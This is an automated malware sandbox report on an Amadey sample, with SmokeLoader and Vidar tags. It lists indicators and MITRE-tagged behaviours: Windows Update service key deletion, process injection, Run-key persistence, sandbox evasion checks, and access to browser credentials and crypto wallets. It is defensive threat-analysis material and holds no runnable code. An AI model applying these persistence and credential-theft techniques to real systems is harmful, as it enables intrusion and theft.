amadey | 76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

Processes:

XandETC.exeXandETC.exeupdater.exe

description	pid	process	target process
PID 1116 created 3172	1116	XandETC.exe	Explorer.EXE
PID 4404 created 3172	4404	XandETC.exe	Explorer.EXE
PID 1116 created 3172	1116	XandETC.exe	Explorer.EXE
PID 1116 created 3172	1116	XandETC.exe	Explorer.EXE
PID 1116 created 3172	1116	XandETC.exe	Explorer.EXE
PID 4404 created 3172	4404	XandETC.exe	Explorer.EXE
PID 4404 created 3172	4404	XandETC.exe	Explorer.EXE
PID 4404 created 3172	4404	XandETC.exe	Explorer.EXE
PID 1116 created 3172	1116	XandETC.exe	Explorer.EXE
PID 4404 created 3172	4404	XandETC.exe	Explorer.EXE
PID 4592 created 3172	4592	updater.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

119 2220 rundll32.exe
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
119	2220	rundll32.exe

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

302A.exebuild2.exe1405.exe2DF6.exenbveek.exebuild2.exe1405.exe428C.exePlayer3.exebuild2.exe4750.exePlayer3.exe302A.exe2DF6.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	302A.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	1405.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	2DF6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	1405.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	428C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	4750.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	302A.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	2DF6.exe

Executes dropped EXE 37 IoCs

Processes:

1405.exe1405.exe1405.exe1405.exe2DF6.exe302A.exe2DF6.exe302A.exe34DE.exe2DF6.exebuild3.exe2DF6.exebuild2.exe302A.exebuild3.exe428C.exe4750.exebuild2.exePlayer3.exePlayer3.exe302A.exess31.exess31.exeXandETC.exeXandETC.exenbveek.exenbveek.exebuild2.exebuild3.exebuild2.exebuild2.exebuild2.exeE17E.exenbveek.exemstsca.exeupdater.exe

pid	process
4532	1405.exe
1236	1405.exe
4748	1405.exe
4964	1405.exe
1172	2DF6.exe
1324	302A.exe
1308	2DF6.exe
3420	302A.exe
2132	34DE.exe
4624	2DF6.exe
4984	build3.exe
1904	2DF6.exe
2112	build2.exe
4972	302A.exe
1400	build3.exe
3768	428C.exe
1480	4750.exe
3832	build2.exe
3096	Player3.exe
828	Player3.exe
984	302A.exe
2688	ss31.exe
4636	ss31.exe
4404	XandETC.exe
1116	XandETC.exe
4936	nbveek.exe
2808	nbveek.exe
372	build2.exe
1604	build3.exe
2848	build2.exe
1184	build2.exe
4984	build3.exe
2896	build2.exe
632	E17E.exe
1572	nbveek.exe
1204	mstsca.exe
4592	updater.exe

Loads dropped DLL 11 IoCs

Processes:

build2.exebuild2.exebuild2.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid	process
3832	build2.exe
3832	build2.exe
2848	build2.exe
2848	build2.exe
2896	build2.exe
2896	build2.exe
3768	rundll32.exe
2316	rundll32.exe
4224	rundll32.exe
2220	rundll32.exe
2220	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4580 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4580	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

1405.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\f97b8a70-87f6-418c-99db-f70d264de5a9\\1405.exe\" --AutoStart"	1405.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

49 api.2ip.ua
55 api.2ip.ua
57 api.2ip.ua
67 api.2ip.ua
31 api.2ip.ua
32 api.2ip.ua
41 api.2ip.ua

flow	ioc
49	api.2ip.ua
55	api.2ip.ua
57	api.2ip.ua
67	api.2ip.ua
31	api.2ip.ua
32	api.2ip.ua
41	api.2ip.ua

Suspicious use of SetThreadContext 10 IoCs

Processes:

1405.exe1405.exe2DF6.exe302A.exe2DF6.exebuild2.exe302A.exebuild2.exebuild2.exerundll32.exe

description	pid	process	target process
PID 4532 set thread context of 1236	4532	1405.exe	1405.exe
PID 4748 set thread context of 4964	4748	1405.exe	1405.exe
PID 1172 set thread context of 1308	1172	2DF6.exe	2DF6.exe
PID 1324 set thread context of 3420	1324	302A.exe	302A.exe
PID 4624 set thread context of 1904	4624	2DF6.exe	2DF6.exe
PID 2112 set thread context of 3832	2112	build2.exe	build2.exe
PID 4972 set thread context of 984	4972	302A.exe	302A.exe
PID 372 set thread context of 2848	372	build2.exe	build2.exe
PID 1184 set thread context of 2896	1184	build2.exe	build2.exe
PID 2220 set thread context of 1076	2220	rundll32.exe	rundll32.exe

Drops file in Program Files directory 2 IoCs

Processes:

XandETC.exeXandETC.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
736	sc.exe
1324	sc.exe
620	sc.exe
3140	sc.exe
1492	sc.exe
4976	sc.exe
3932	sc.exe
4624	sc.exe
2692	sc.exe
5116	sc.exe
4148	sc.exe
1680	sc.exe
3392	sc.exe
2700	sc.exe
4764	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

2184 4984 WerFault.exe 377F.exe
3972 2316 WerFault.exe rundll32.exe
4844 632 WerFault.exe E17E.exe

pid	pid_target	process	target process
2184	4984	WerFault.exe	377F.exe
3972	2316	WerFault.exe	rundll32.exe
4844	632	WerFault.exe	E17E.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe34DE.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	34DE.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	34DE.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	34DE.exe

Checks processor information in registry 2 TTPs 32 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exerundll32.exebuild2.exebuild2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2296 schtasks.exe
4392 schtasks.exe
4988 schtasks.exe
3208 schtasks.exe
1076 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

2068 timeout.exe
4468 timeout.exe
3200 timeout.exe

pid	process
2296	schtasks.exe
4392	schtasks.exe
4988	schtasks.exe
3208	schtasks.exe
1076	schtasks.exe

pid	process
2068	timeout.exe
4468	timeout.exe
3200	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 30 IoCs

Processes:

Explorer.EXErundll32.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e0031000000000081568b81100054656d7000003a0009000400efbe545642a5815691812e000000000000000000000000000000000000000000000000004159b600540065006d007000000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

3172 Explorer.EXE

pid	process
3172	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exeExplorer.EXE

pid	process
4768	76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
4768	76f2c560339aa08f67968ff5ff675e52c1be7c654a803096fa078af9878af467.exe
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
3172	Explorer.EXE
